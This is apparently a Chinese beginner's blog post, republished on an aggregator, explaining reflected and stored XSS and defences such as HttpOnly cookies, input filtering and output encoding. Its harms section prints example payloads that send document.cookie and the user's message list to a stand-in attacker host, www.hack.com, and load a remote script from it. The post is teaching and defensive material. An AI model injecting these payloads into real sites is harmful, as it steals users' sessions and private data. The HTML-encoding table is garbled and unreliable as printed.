概述
作为一名前端小白,之前并没有很关心过这个问题。对于web安全的认知只有记忆中大三网络安全课程中的零星点点。后来经历了几场面试,竟然都问到web安全相关的问题,遂查阅了一些资料,了解了相关知识。在此,记录下自己的一些理解和整理的相关资料。希望可以和大家分享,若有不正确之处,望指出。
XSS又称为CSS(Cross Site Script),中文名称为跨站点脚本攻击。按照英文全称的缩写应该为CSS,但是为了和层叠样式表(Cascading Style Sheets)区别,所以一般称其为XSS。
一、产生原理
攻击者向有XSS漏洞的网站注入恶意的HTML代码,当其他用户浏览这个网页的时候,代码执行,控制用户浏览器进行一些破坏:比如盗取用户信息,骗取用户到钓鱼网站等。
攻击者如何向网站注入HTML代码呢?
这个需要web应用有漏洞时,才可以注入。试想要是任意网站都可以被随意输入恶意HTML代码,那么我们在网络上的所有信息都是被公开、不安全的了。
一般来说,都是因为后台服务器在渲染界面时,直接把用户输入作为HTML渲染在了界面上。这个要怎么理解了?
比如, 某网站在注册或者修改个人信息的时候,允许用户输入一段文字介绍自己。有恶意的用户可能就会在输入如下代码:
<script>alert("你被我监视啦~~~")</script>
后台服务器如果不加处理就把这个用户输入的这段话插入到用户的信息页面返回给用户,那么用户界面就会显示一个警告弹框如下:
这时,若服务器没有存储这个页面,只是单纯地将本次渲染的页面返回,那么这种攻击方式成为反射XSS攻击。这种攻击只针对当次请求有效。受害的用户也是有限的。所以反射型攻击XSS也称为非持久型XSS攻击。
但是,如果服务器保存了本次用户输入的数据到数据库。每次渲染页面时都使用这次输入的数据进行渲染,那么以后每次请求该页面都会出现警告弹框。这种成为存储型XSS攻击。这种攻击因为攻击危害时间久,受影响的用户可能很多,所以也被成为持久型XSS攻击。
试想,如果该用户编辑的个人介绍只有他自己可以看见,那么受到伤害的只有他自己。那么这个恶意用户要么只是想玩玩怎么攻击,体验一下,不愿伤害他人(善良的人啊~)。可是,如果该用户编辑的这个页面也可以被其他用户查看,那么在其他用户请求该页面时,也会被植入恶意的html代码。就比如我若是在这篇博客中插入了恶意代码,而后台服务器还保存在数据库中了,那么你现在在阅读我的这篇博客,你的浏览器的当前页面已经被输入了恶意代码,弹出弹框了。
二、XSS危害
1.cookie挟持
刚刚的例子中,攻击者只是在页面中植入一个脚本,弹出一个恶搞的弹框。这种对用户的伤害还不算很大。但是,我们假设,刚刚植入的代码是这样的:
var img = new Image(); img.src ="http://www.hack.com/"+document.cookie; document.body.appendChild(img);
那么在用户请求的页面中就会插入一个看不见的图片。这个图片的请求地址就是攻击者的网站:www.hack.com加上后面该用户的cookie信息。这个图片肯定是请求不到的。我们打开网页的网络请求就会看到:
但是这个请求一个发送到攻击者的网站www.hack.com。在攻击者的访问日子里面就会有该条url信息。从而攻击者获取到用户的cookie中的个人隐私信息。
我们知道cookie一般会用做用户登录信息的凭证,所以获取到cookie之后,也相当于获取到了用户的登录凭证,利用cookie攻击者就可以在cookie有效期内,随意访问用户账号。这是极度不安全的。这种攻击方式也称为cookie挟持。
2.破坏用户账户信息
在cookie挟持中,如果浏览器禁止脚本访问cookie信息,那么该攻击方式无效。但是攻击者可能并不需要用户的cookie信息,他也可以达到破坏信息的目的。比如插入的代码如下:
var img = new Image(); img.src ="http://www.blog.com/Mr/article/details/80"; document.body.appendChild(img);插入的图片发出的请求是将用户的编号为80的文章删除。此时,攻击者并不需要获取用户的cookie信息。因为用户浏览器发出这条请求时会自动将用户当前页面域名下的cookie自动带上发给服务器。服务器通过了用户的身份验证,执行了请求的操作,删除了该文章。
3.获取用户账户信息
攻击者插入的代码可能是这样的:
var xmlHttp1 = creatXMLHttp(); xmlHttp1.onreadystatechange = function () { if (xmlHttp.readyState===4&&xmlHttp.status===200) { var fanList = xmlHttp.responseText; var xmlHttp2 = creatXMLHttp(); xmlHttp2.open('post','http://www.hack.com/mr/listMessages'); xmlHttp2.send(fanList); } }; xmlHttp1.open('get','http://www.blog.com/my/listMessages'); xmlHttp1.send(); function creatXMLHttp () { var xmlHttp = null; if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); } else { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } return xmlHttp; }
攻击者通过构造ajax请求,在用户加载页面时执行攻击代码,请求用户的消息列表,再构造ajax将获取到的用户消息列表发送到攻击者的远程服务器上。这样一看,攻击者需要插入需要js代码。增加了注入难度。有的web服务器会对输入的数据长度做出限制。可以采用先加载一个远程脚本,再在远程脚本中写入如上代码。比如插入:
<script src="www.hack.com/getMessage.js"></script>再在远程脚本getMessage.js中写入上述一大段代码。
三、XSS防御
可以看出XSS本质就是“HTML注入”:用户的输入被当做HTML的执行代码,导致语言混淆。所以我们可以从以下几方面来防御XSS。
1.防御cookie劫持——HttpOnly
在xss的危害中我们提到了恶意的脚本可能会盗取cookie信息。为了防御这种攻击方式,我们可以通过服务器设置cookie为HttpOnly,这样浏览器将阻止javascript读写cookie信息。这种也只能防御cookie劫持。在之前的例子中我们讲到了攻击者不需要cookie信息也可以进行攻击。一个cookie的使用过程如下:
step1: 浏览器向服务器发起请求,此时无cookie。
step2: 服务器返回时发送set-cookie头,向浏览器写入cookie。
step3: 在该cookie到期前,浏览器访问该域名下的所有页面,都将自动发送cookie到服务器
HttpOnly在set-cookie时标记。服务器可以设置多个cookie(键值对),而HttpOnly可以选择性地加在任何一个cookie上。这样可以只把关键cookie信息(如用户密码)设置为js不能读,对于其他不重要的cookie信息,运行应用操作。
2.输入检测——过滤特殊字符
在用户提交输入的时候,对用户输入进行过滤。攻击者构造攻击的恶意代码时往往会用到一些特殊的字符。如:‘<’、'>'、'、'、单引号、双引号可以将这些特殊字符过滤掉。对script、javascript等敏感词汇,也可以考虑将其过滤调。对一些html标签如:<a>、<img>、<iframe>等进行过滤。
过滤的规则可以考虑输入的场景。对于一些具有明确语义的输入,可以按照“白名单”的思想进行过滤。比如输入手机号。那么输入只能是数字,并且符合一定的规则。那么过滤的时候,只允许输入数字。
一般来说,对于输入的检测,需要客服端(前端)和服务器同时进行。如果只在客户端进行输入检测,容易被攻击者绕过。客户端进行输入检测,也可以减少服务器端的处理量,节约服务器资源。
3.输出检测——转义或编码特殊字符
输入检测中,因为只考虑输入中是否含有特殊字符,然后进行过滤,容易造成误判。因为有些合法的输入中确实可能含有特殊字符。比如输入:a<b。如果直接将'<'过滤掉,会改变用户输入的语义。
攻击者要实现攻击,需要输入攻击代码之后,最后还要服务器将输入渲染到页面上。所以,在服务器渲染用户输入时,可以结合渲染的语境进行检测,对渲染的html进行转义或者编码。这样一般由服务器完成,客户端不需要考虑。
在编码或者转义的时候需要考虑渲染的字符是作为HTML、JavaScript还是CSS。不同的情况下,使用的方法不一样。
- HTML——HtmlEncode
HtmlEncode是指将特殊字符转换为HtmlEntities。为了防御XSS,至少要转义以下字符:
&-->&
<--><
<--><
>-->>
"-->"
'-->'
/-->/
- JavaScript——JavaScriptEncode
JavaScriptEncode需要使用“”对特殊的字符进行转义。此外,为了防御XSS,还需要要求输出的变量必须在引号内部,以避免安全问题。
var y = '"' + escapeJavascript($text)+ '"';
escapeJavascript一般需要转义如:“、”、<、>、、&、#这样的危险字符。为了避免变量中还用可以执行代码,需要将整个变量$text包含在引号中,作为一个字符串显示,避免恶意代码的执行。
- URL——URLEncode
攻击者可能将攻击代码输入到地址URL中。对于这种情况可以使用URLEncode编码URL地址。URLEncode会将特殊字符编码为%HH的形式。部分编码规则如下:
- 富文本处理
有些时候网站运行用户提交自定义的HTML代码,比如编辑的博客里面有图片,视频、表格等,这些需要HTML代码来实现,这些称之为富文本。对于富文本的过滤,需要考虑输入过滤。需要严格禁止“事件”。同时禁止一些威胁的标签:<iframe>、<base>、<script>、<form>等。
最后
以上就是勤奋黑猫为你收集整理的web安全(一)——XSS的全部内容,希望文章能够帮你解决web安全(一)——XSS所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复